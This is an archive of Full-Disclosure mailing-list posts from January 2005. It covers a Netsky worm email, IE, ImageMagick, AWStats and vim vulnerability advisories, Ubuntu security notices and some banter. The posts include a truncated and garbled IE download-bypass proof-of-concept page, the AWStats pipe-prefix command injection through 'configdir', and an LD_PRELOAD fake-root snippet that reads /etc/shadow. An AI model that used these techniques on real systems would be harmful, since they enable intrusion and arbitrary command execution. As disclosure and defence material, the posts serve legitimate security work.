(Daniel Bartlett) Date: Thu, 13 Jan 2005 14:34:37 +0000 Subject: [Full-Disclosure] Is that your password? In-Reply-To: <200501131354.j0DDs1rs002587@lists.netsys.com> Message-ID: McAffee AV 8 Picked it up as Netsky before firefox had a chance to launch Winzip. What are we supposed to confirm?? Cheers, Daniel. Daniel Bartlett London, UK. From Valdis.Kletnieks at vt.edu Thu Jan 13 15:31:54 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Thu, 13 Jan 2005 10:31:54 -0500 Subject: [Full-Disclosure] T-Mobile Hacker and server vulnerabilities In-Reply-To: Your message of "Thu, 13 Jan 2005 13:04:21 +0100." <20050113130421.409f8f83.vh@helith.net> References: <200501121700.j0CH0K9g013975@lists.netsys.com> <1105555430.9780.12.camel@localhost.localdomain> <47fe50605011222344c2cbd9a@mail.gmail.com> <200501130816.j0D8Fttm006477@turing-police.cc.vt.edu> <20050113130421.409f8f83.vh@helith.net> Message-ID: <200501131531.j0DFVsfA015789@turing-police.cc.vt.edu> On Thu, 13 Jan 2005 13:04:21 +0100, vh said: > On Thu, 13 Jan 2005 03:15:52 -0500 Valdis.Kletnieks at vt.edu wrote: > > One has to wonder which tabloid will win the bidding war for the pics. ;) > > Why was Mitnick jailed and this guy isn't? ;) Umm.. Occam's Razor suggests the answer is because this guy has cell-phone photos of Somebody Important and a sheep, and Mitnick didn't.... ;) Either that, or the Secret Service is having a hard time figuring out how to sucessfully prosecute Jacobson for (among other things) hacking into the T-Mobile account of the agent who was investigating him. Prosecutors really hate it when the basic integrity of the investigation is compromised - this one is right up there with detectives finding out that the Mafia boss they're trying to take down has a bug planted in their conference room..... -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/7549ec2e/attachment.bin From Thierry at sniff-em.com Thu Jan 13 15:48:10 2005 From: Thierry at sniff-em.com (Thierry Zoller) Date: Thu, 13 Jan 2005 16:48:10 +0100 Subject: [Full-Disclosure] Is that your password? In-Reply-To: References: <200501131354.j0DDs1rs002587@lists.netsys.com> Message-ID: <1628022344.20050113164810@Sniff-em.com> The usual Worm. DB> What are we supposed to confirm?? By the way, archives of this list should remove those attachemnts, because it's pretty bad to spread them like here: http://seclists.org/lists/fulldisclosure/2004/Dec/0713.html -- Thierry Zoller mailto:Thierry at sniff-em.com From joel.esler at rcert-s.army.mil Thu Jan 13 16:03:49 2005 From: joel.esler at rcert-s.army.mil (Esler, Joel - Contractor) Date: Thu, 13 Jan 2005 11:03:49 -0500 Subject: [Full-Disclosure] Is that your password? Message-ID: <41C902FBC7F1EA47933D76631B1704EE2F7D60@rcertsexch.rcert-s.army.mil> That "it's" your password. DUH! -----Original Message----- From: full-disclosure-bounces at lists.netsys.com [mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Daniel Bartlett Sent: Thursday, January 13, 2005 9:35 AM To: full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] Is that your password? McAffee AV 8 Picked it up as Netsky before firefox had a chance to launch Winzip. What are we supposed to confirm?? Cheers, Daniel. Daniel Bartlett London, UK. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From mwieser at gmx.de Thu Jan 13 16:12:56 2005 From: mwieser at gmx.de (Matthias Wieser) Date: Thu, 13 Jan 2005 17:12:56 +0100 Subject: [Full-Disclosure] Is that your password? In-Reply-To: <200501131354.j0DDs1rs002587@lists.netsys.com> References: <200501131354.j0DDs1rs002587@lists.netsys.com> Message-ID: <200501131712.57105.mwieser@gmx.de> Am Mittwoch, 19. Januar 2005 11:48 schrieb blueboar at thievco.com: > Can you confirm it? This screen saver does not work here. Do you have a linux binary, too? From ihaquer at isec.pl Thu Jan 13 16:26:49 2005 From: ihaquer at isec.pl (Paul Starzetz) Date: Thu, 13 Jan 2005 17:26:49 +0100 (CET) Subject: [Full-Disclosure] Re: Linux kernel i386 SMP page fault handler privilege escalation In-Reply-To: <20050113144526.GA2366@lab.b-care.net> Message-ID: On Thu, 13 Jan 2005, Christophe Devine wrote: > Exploiting the race condition itself is quite tricky, especially if the > system load is high. The following proof-of-concept code may be used to > check if an x86 SMP kernel is vulnerable; it is a bit unreliable though. That is not really correct. Exploiting this race condition is very easy, however it is always difficult to exploit SMP race conditions if the load is high, since you must achieve parallel execution of two threads and the scheduler may prevent you from parallel execution in that case. -- Paul Starzetz iSEC Security Research http://isec.pl/ From john.herbert at ins.com Thu Jan 13 16:44:21 2005 From: john.herbert at ins.com (john.herbert at ins.com) Date: Thu, 13 Jan 2005 22:14:21 +0530 Subject: [Full-Disclosure] Mail Delivery (failure full-disclosure@lists.netsys.com) Message-ID: <200501131643.j0DGhprs019262@lists.netsys.com> -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/88ae1c88/attachment.html -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: audio/x-wav Size: 31744 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/88ae1c88/attachment.wav From jerome.athias at free.fr Thu Jan 13 15:48:19 2005 From: jerome.athias at free.fr (Jerome ATHIAS) Date: Thu, 13 Jan 2005 16:48:19 +0100 Subject: [Full-Disclosure] GMail Messages are Vulnerable to Interception Message-ID: <002801c4f987$4ef448f0$0701a8c0@tipi> http://dump.hbx.us/gmail_bug_hack/ -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/x-pkcs7-signature Size: 3801 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050113/73f09255/attachment.bin From the_insider at mail.com Thu Jan 13 14:30:12 2005 From: the_insider at mail.com (The Insider) Date: Thu, 13 Jan 2005 09:30:12 -0500 Subject: [Full-Disclosure] (no subject) Message-ID: <20050113143012.8F271101D0@ws1-3.us4.outblaze.com> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: Internet Explorer Vendors: http://www.microsoft.com Versions: 6.0.2900.2180.xpsp_sp2_rtm.040803-2158 Patched With: SP2; Platforms: Windows Bug: Remote File Download Information Bar Bypass Exploitation: Remote with browser Date: 13 Jan 2005 Author: Rafel Ivgi, The-Insider e-mail: the_insider at mail.com web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== Internet Explorer is currently the most common internet browser in the world. Microsoft Windows XP Service Pack 2 was designed to block any file download by an information bar which must be clicked and selected with "Download File". ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== While trying to download a file Microsoft Internet Explorer the user gets the information bar. The information bar mechanism blocks/catches all references to download-able files, even through javascripts and HTML Event properties. However Microsoft's Internet Explorer (SP2) DOES NOT CATCH "body" tag with the HTML "onclick" event which dynamically created "iframe" tags. For a good, more complicated dynamic object creation i used the "createElement" function. This way an attacker can make a user download a file with him just clicking anywhere on the page (not on an hyperlink). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== Paste into an htm/html file and add "<" at the begining of each line: ------------------------ cut here -------------------------------------- !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> !-- saved from url=(0031)http://theinsider.deep-ice.com/ --> HTML>The-Insider http://theinsider.deep-ice.com META http-equiv=expires content="01 Jan 1998 01:01:00 GMT"> META http-equiv=Content-Type content="text/html; charset=windows-1252"> META http-equiv=Content-Language content=en-us> META content=True name=HandheldFriendly> META content="MSHTML 6.00.2900.2523" name=GENERATOR> embed> body onclick='a=document.createElement("\"; document.write(mylocation); } ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From manbsd at gmail.com Mon Jan 17 21:52:54 2005 From: manbsd at gmail.com (MaNUaL) Date: Mon, 17 Jan 2005 23:52:54 +0200 Subject: [Full-Disclosure] Illegal mind control is coming to the USA, black helicopters In-Reply-To: <20050117174141.GP39109@DAPCVA.da> References: <20050117113621.GW39109@DAPCVA.da> <20050117173911.1246997BF@mail.deny-all.com> <20050117174141.GP39109@DAPCVA.da> Message-ID: Yea.. but if you believe the lie (live it) then it can't be detected, as it can happens in the polygraph test.. Military and cia also train their agents to pass these detector tests by controling themselves (heart rate etc)...Nice huh? On Mon, 17 Jan 2005 18:41:41 +0100, Vincent Archer wrote: > On Mon, Jan 17, 2005 at 12:38:33PM -0500, Paul Kurczaba wrote: > > Mind control is also when Bush was given answers at the first debate; by a > > radio receiver hidden under his coat > > (http://www.washingtonpost.com/wp-dyn/articles/A18734-2004Oct8.html). But > > when the media questioned Bush, he just said it was a "poorly tailored" > > suit. Yeah right! > > /insert obligatory reference to _Interface_ (a Neal Stephenson novel, if > you've never read it) > > -- > Vincent ARCHER > varcher at denyall.com > > Tel : +33 (0)1 40 07 47 14 > Fax : +33 (0)1 40 07 47 27 > Deny All - 5, rue Scribe - 75009 Paris - France > www.denyall.com > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From idlabs-advisories at idefense.com Mon Jan 17 18:19:38 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Mon, 17 Jan 2005 13:19:38 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.17.05: Multiple Vendor ImageMagick .psd Image File Decode Heap Overflow Vulnerability Message-ID: Multiple Vendor ImageMagick .psd Image File Decode Heap Overflow Vulnerability iDEFENSE Security Advisory 01.17.05 www.idefense.com/application/poi/display?id=184&type=vulnerabilities January 17, 2005 I. BACKGROUND ImageMagick provides a variety of graphics image-handling libraries and capabilities. These libraries are widely used and are shipped by default on most Unix and Linux distributions. These libraries are commonly installed by default on computers where any other graphical image viewer or X Desktop environment is installed (such as Gnome or KDE). More information is available at the following site: http://www.imagemagick.org II. DESCRIPTION Remote exploitation of a buffer overflow vulnerability in The ImageMagick's Project's ImageMagick PSD image-decoding module could allow an attacker to execute arbitrary code. A heap overflow exists within ImageMagick, specifically in the decoding of Photoshop Document (PSD) files. The vulnerable code follows: ImageMagick-6.1.0/coders/psd.c for (j=0; j < (long) layer_info[i].channels; j++) { layer_info[i].channel_info[j].type=(short)ReadBlobMSBShort(image); layer_info[i].channel_info[j].size=ReadBlobMSBLong(image); [...] } The array channel_info is only 24 elements large, and the loop variable, "j", is bounded by a user-supplied value from the image file, thus allowing a heap overflow to occur when more than 24 layers are specified. If heap structures are overflowed in a controlled way, execution of arbitrary code is possible. III. ANALYSIS Exploitation may allow attackers to run arbitrary code on a victim's computer if the victim opens a specially formatted image. Such images could be delivered by e-mail or HTML, in some cases, and would likely not raise suspicion on the victim's part. Exploitation is also possible when a web-based application uses ImageMagick to process user-uploaded image files. IV. DETECTION iDEFENSE has confirmed this vulnerability in ImageMagick 6.1.0 and ImageMagick 6.1.7. Earlier versions are also suspected vulnerable. The following vendors may include vulnerable ImageMagick packages: The Debian Project MandrakeSoft Red Hat, Inc. V. WORKAROUND Do not open files from untrusted sources. Do not allow untrusted sources to process images using your web application. VI. VENDOR RESPONSE This vulnerability is addressed in ImageMagick 6.1.8-8, available for download at: http://www.imagemagick.org/www/download.html VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0005 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 12/21/2004 Initial vendor notification 01/14/2004 Initial vendor response 01/17/2005 Public disclosure IX. CREDIT Andrei Nigmatulin is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From idlabs-advisories at idefense.com Mon Jan 17 23:13:51 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Mon, 17 Jan 2005 18:13:51 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.17.05: AWStats Remote Command Execution Vulnerability Message-ID: AWStats Remote Command Execution Vulnerability iDEFENSE Security Advisory 01.17.05 www.idefense.com/application/poi/display?id=185&type=vulnerabilities January 17, 2005 I. BACKGROUND AWStats is a free tool that generates advanced web, ftp or mail server statistics, graphically. More information about AWStats is available from: http://awstats.sourceforge.net II. DESCRIPTION Remote exploitation of an input validation vulnerability in AWStats allows attackers to execute arbitrary commands under the privileges of the web server. The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl: if (open(CONFIG,"$searchdir$PROG.$SiteConfig.conf")) The "searchdir" variables hold the value of the parameter provided by the attacker from "configdir." An attacker can cause arbitrary commands to be executed by prefixing them with the "|" character. III. ANALYSIS Successful exploitation allows remote attackers to execute arbitrary commands under the privileges of the web server. This can lead to further compromise as it provides remote attackers with local access. IV. DETECTION iDEFENSE has confirmed that AWStats version 6.1 is vulnerable. It is suspected that earlier versions are also vulnerable. V. WORKAROUND Add a filter around the "configdir" parameter by replacing the following line: if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&DecodeEncodedString("$1"); } With: if ($QueryString =~ /configdir=([^&]+)/i) { $DirConfig=&DecodeEncodedString("$1"); $DirConfig=~tr/a-z0-9_\-\/\./a-z0-9_\-\/\./cd; } VI. VENDOR RESPONSE This vulnerability is addressed in AWStats 6.3, available for download at: http://awstats.sourceforge.net/#DOWNLOAD VII. CVE INFORMATION A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not been assigned yet. VIII. DISCLOSURE TIMELINE 10/21/2004 Initial vendor notification 01/02/2005 Initial vendor response 01/17/2005 Public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From michealespinola at gmail.com Tue Jan 18 00:29:35 2005 From: michealespinola at gmail.com (Micheal Espinola Jr) Date: Mon, 17 Jan 2005 19:29:35 -0500 Subject: [Full-Disclosure] Steam looses its power Message-ID: At approx. 7PM EST, Steam - the network that powers Valve gaming applications (such as Half-Life 2 and Counter-Strike:Source) - officially lost power. All users/servers simulatenously lost connectivity, and none were available for re-entry - save (1) Half-Life 2 server, WHITE_WIDOW_[S2]. Anyone know what happened? Exploit, Attack, BOFH? -- ME2 From optik at wccnet.org Tue Jan 18 01:38:26 2005 From: optik at wccnet.org (Rick) Date: Mon, 17 Jan 2005 20:38:26 -0500 (EST) Subject: [Full-Disclosure] Steam looses its power In-Reply-To: References: Message-ID: perhaps it had something to do with the new update? rik http://orchard.wccnet.org/~optik On Mon, 17 Jan 2005, Micheal Espinola Jr wrote: > At approx. 7PM EST, Steam - the network that powers Valve gaming > applications (such as Half-Life 2 and Counter-Strike:Source) - > officially lost power. > > All users/servers simulatenously lost connectivity, and none were > available for re-entry - save (1) Half-Life 2 server, > WHITE_WIDOW_[S2]. > > Anyone know what happened? Exploit, Attack, BOFH? > > -- > ME2 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From evilninja at gmx.net Tue Jan 18 04:16:39 2005 From: evilninja at gmx.net (Christian) Date: Tue, 18 Jan 2005 05:16:39 +0100 Subject: [Full-Disclosure] GNU gcc vuln. < 3.4.3 local root (.php) In-Reply-To: References: Message-ID: <41EC8DA7.4060306@gmx.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Andrew Farmer schrieb: > > Old "vulnerability". Equivalent to: > >>> /* fake_vuln.c */ >>> int getuid(void) { return 0; } >>> int geteuid(void) { return 0; } >>> int getgid(void) { return 0; } >> >> >> sh % gcc -shared fake_vuln.c -o fake_vuln.so >> sh % LD_PRELOAD=`pwd`/fake_vuln.so /bin/sh >> sh # id >> uid=0(root) gid=0(root) >> sh # cat /etc/shadow >> cat: /etc/shadow: Permission denied there is even a package in my linux-distribution for this, called "fakeroot": evil at sheep:~$ fakeroot root at sheep:~# whoami root - -- BOFH excuse #38: secretary plugged hairdryer into UPS -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFB7I2nC/PVm5+NVoYRAo+VAJ46m6C9v61ukMCq8p525h8CxNrGcQCfbqbO uNmpG/WGygmCtHgGq/fHX48= =0/7e -----END PGP SIGNATURE----- From Thierry at sniff-em.com Tue Jan 18 16:14:10 2005 From: Thierry at sniff-em.com (Thierry Zoller) Date: Tue, 18 Jan 2005 17:14:10 +0100 Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations In-Reply-To: <001201c4fcd4$d32e9c10$f85ab350@noone> References: <001201c4fcd4$d32e9c10$f85ab350@noone> Message-ID: <239338590.20050118171410@Sniff-em.com> Temporary "Fix" : ---------------------------------------------- Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\sig2dat\shell\open\command] @="" ---------------------------------------------- -- Regards, Thierry Zoller Secure-It: http://www.sniff-em.com/secureit.shtml -------------- next part -------------- A non-text attachment was scrubbed... Name: sig2datfix.reg Type: application/octet-stream Size: 194 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/bd8d0dc1/attachment.obj From bvsev at mail.ru Tue Jan 18 16:14:51 2005 From: bvsev at mail.ru (bvsev at mail.ru) Date: Tue, 18 Jan 2005 19:14:51 +0300 Subject: [Full-Disclosure] network associates mcafee controls In-Reply-To: <200501141928.j0EJSN4J031517@turing-police.cc.vt.edu> Message-ID: Hi This is just for my personal knowledge, I just wanna run stuff without getting "not enough rights" boxes all the time. My boss would be OK, don't worry -----Original Message----- From: Valdis.Kletnieks at vt.edu To: bvsev at mail.ru Date: Fri, 14 Jan 2005 14:28:23 -0500 Subject: Re: [Full-Disclosure] network associates mcafee controls > > On Fri, 14 Jan 2005 19:54:28 +0300, bvsev at mail.ru said: > > Does anybody know or had any experiences with mcafee parental controls. It's > > used at my work, > > "Parental Controls". "Used at work". > > I suspect that the employer-employee relationship there has some major issues. > And that said issues are likely to be made worse by circumventing them. > > In other words: Do you *really* want to risk getting fired for hacking around > something the management thinks is needed? > > ATTACHMENT: application/pgp-signature > From martin.pitt at canonical.com Tue Jan 18 16:56:58 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Tue, 18 Jan 2005 17:56:58 +0100 Subject: [Full-Disclosure] [USN-61-1] vim vulnerabilities Message-ID: <20050118165658.GA9816@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-61-1 January 18, 2005 vim vulnerabilities CAN-2005-0069 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: kvim vim vim-gnome vim-gtk vim-lesstif vim-perl vim-python vim-tcl The problem can be corrected by upgrading the affected package to version 1:6.3-025+1ubuntu2.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a noticed that the auxillary scripts "tcltags" and "vimspell.sh" created temporary files in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking the script (either by calling it directly or by execution through vim). Source archives: http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2.diff.gz Size/MD5: 425421 ee7e4653fb70fd45329bf5773e610ad6 http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2.dsc Size/MD5: 1122 9bd9428dd29c8aa562f4b97566b9a05a http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3.orig.tar.gz Size/MD5: 5624622 de1c964ceedbc13538da87d2d73fd117 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-common_6.3-025+1ubuntu2.2_all.deb Size/MD5: 3421084 8dc7b200376add6ccb2896e2f6e80e0d http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-doc_6.3-025+1ubuntu2.2_all.deb Size/MD5: 1646686 2c2716a1dad40612baaaf28ebc0de3a6 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 2586 1e0b1528b70e54e2bcff3a02acaacbc5 http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 805722 51093d7843d5fb20ece35d2f53eadb0d http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 802452 d4fd55aca188063434361f5674805dec http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 784100 1d477c5f09466e8942d0f7da3c221afd http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 809126 646c31a0d612b398943b4c2a42c9b6f9 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 802470 ede70bb09d39b7571fae1192900b0385 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 801160 aa65781693eca8d06230bc5f8ee29463 http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_amd64.deb Size/MD5: 765120 b5425b1b087b9528e7e4a9ef25493299 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 2590 edbd9dc0be6acaea44ee02e09c6e5c3e http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 702656 7a12cb5196a1257eae527f5b231d763d http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 700006 486ea88f3d0a2c4eb1804c09bca8418b http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 682462 61c39ffed3017081974a3af522b61959 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 707674 05989ac6496d7a1db524b68bd1acd313 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 700022 09e7ebbe082c99520d11fa33277cc212 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 699634 673329baa7cd9aca70cca9f87943a628 http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_i386.deb Size/MD5: 680130 305b1d85bbdb52dd9869a21664049be3 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/v/vim/kvim_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 2586 f56083ef36048c9b94c41a37c35633dc http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim-gnome_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 787984 e38f3d9674200796e39438ece635ebf7 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-gtk_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 785338 bdb6dd908d78a1172a431b4dbbea97f5 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-lesstif_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 769822 b4dc7592d9a49fa63488ff35b7f9b97d http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-perl_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 792362 76ae3cbe76e78757cd82b08b8ebe2aa8 http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-python_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 785354 c4e418a1fba8015c2416b662a77a257f http://security.ubuntu.com/ubuntu/pool/universe/v/vim/vim-tcl_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 784868 c9f9251376c1cb48552fd8012acbec7c http://security.ubuntu.com/ubuntu/pool/main/v/vim/vim_6.3-025+1ubuntu2.2_powerpc.deb Size/MD5: 754620 c69a3dc15fddab0bad774759dd3ea6ae -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/3fb7a9e4/attachment.bin From martin.pitt at canonical.com Tue Jan 18 17:00:35 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Tue, 18 Jan 2005 18:00:35 +0100 Subject: [Full-Disclosure] [USN-62-1] imagemagick vulnerability Message-ID: <20050118170035.GB9816@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-62-1 January 18, 2005 imagemagick vulnerability CAN-2005-0005 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: imagemagick libmagick6 The problem can be corrected by upgrading the affected package to version 5:6.0.2.5-1ubuntu1.3. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Andrei Nigmatulin discovered a potential buffer overflow in the PhotoShop Document image decoding function of ImageMagick. Decoding a malicious PSD image which specifies more than the allowed 24 channels might result in execution of arbitrary code with the user's privileges. Since ImageMagick can be used in custom printing systems, this also might lead to privilege escalation (execute code with the printer spooler's privileges). However, Ubuntu's standard printing system does not use ImageMagick, thus there is no risk of privilege escalation in a standard installation. Source archives: http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3.diff.gz Size/MD5: 129613 75352895a302e3f3723d9cd406777f7b http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3.dsc Size/MD5: 874 8fd92a6825c03eec507f03c5b933ecc3 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5.orig.tar.gz Size/MD5: 6700454 207fdb75b6c106007cc483cf15e619ad amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 1366208 c2be7fe40f56510b730c8d978e15d5fa http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 226522 fa3f732d24cd647e1ace4b376f1bb7f7 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 161096 bd4a4038b4df6bec15a830142bc7ba7a http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6-dev_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 1519992 6d374d3d29c3e1000996999aec3b33b1 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick6_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 1167334 5f8b7b2640ba6d14b17ed0912291ddc3 http://security.ubuntu.com/ubuntu/pool/universe/i/imagemagick/perlmagick_6.0.2.5-1ubuntu1.3_amd64.deb Size/MD5: 138710 f7cef8050c694e474ccf9261378ba30f i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/imagemagick_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 1366118 f607e0df49c6135b5102a709bc2cdb86 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6-dev_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 206634 55e3d9f8c4d0d7464cdbc7605af94686 http://security.ubuntu.com/ubuntu/pool/main/i/imagemagick/libmagick++6_6.0.2.5-1ubuntu1.3_i386.deb Size/MD5: 162832 c900291894be3775990daf17e592137f 